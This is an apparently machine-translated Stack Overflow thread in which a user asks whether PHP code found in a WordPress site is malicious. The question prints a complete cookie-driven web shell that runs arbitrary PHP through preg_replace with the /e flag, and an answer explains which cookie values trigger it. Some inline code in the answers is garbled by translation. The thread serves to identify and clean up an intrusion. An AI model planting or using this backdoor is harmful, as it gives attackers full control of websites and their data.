从cookie执行PHP代码

时间:2015-02-11 18:16:57

标签: php wordpress cookies

我发现了这些有趣的代码:

class PluginJoomla {
    public function __construct() {
        $jq = @$_COOKIE['ContentJQ3'];
        if ($jq) {
            $option = $jq(@$_COOKIE['ContentJQ2']);
            $au=$jq(@$_COOKIE['ContentJQ1']);
            $option("/438/e",$au,438); die();
        }
        else
            phpinfo();die;
    }
}
$content = new PluginJoomla;

它是WordPress网站的一部分,因此请忽略类名。 正如您所看到的,$ jq变量从某个Cookie文件中获取它的值。后来似乎被视为一种功能:

$jq(@$_COOKIE['ContentJQ2']);

正如你在这里看到的,使用Variable函数(https://php.net/manual/en/functions.variable-functions.php)是一个非常基本的PHP。

稍后$ jq变量函数返回$ option变量的函数和$ au变量的字符串:

$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438);

所以,我有一个问题,是否可以这样做,但是从Cookie文件执行PHP代码(不仅考虑exec()函数,还包括带有require()或使用ob_start的文件( )和ob_get_clean())?

您对代码本身有什么看法,是某种病毒还是恶意软件?

2 个答案:

答案 0 :(得分:4)

这绝对是一个恶毒的剧本。让我猜一下,你在/ wp-content / uploads / gravity_forms / ...中找到了它?这就是我在十几个网站上找到它的地方,我的客户没有更新他们的重力表安装。 (幸运的是,我的服务器阻止了/wp-content/uploads/*.php。)

“$选项(”/ 438 / E “$ AU,438);”意味着当$ option是preg_replace时执行$ au,因为/ e标志。

使用$ _COOKIE ['ContentJQ3'] =“base64_decode”,$ _COOKIE ['ContentJQ1'] = base64(“preg_replace”)和$ _COOKIE ['ContentJQ2'] = base64(“arbitrary_php_code();”),这个最后执行黑客喜欢的任何PHP代码。然后它可以用来从你的文件系统下载任何文件(PHP可以访问;记住open_basedir),用数据库做任何你喜欢的事情。

如果您在文件系统上找到此文件,请检查您的访问日志,看看您是否被黑了。如果您无法证明自己不是,请考虑您的网站遭到入侵。

答案 1 :(得分:0)

它是恶意的! AVG将其标识为Linux/Roopre并且它是坏消息,因为正如@Geeklab指出的那样,它可以在WP站点的上下文中执行任何操作。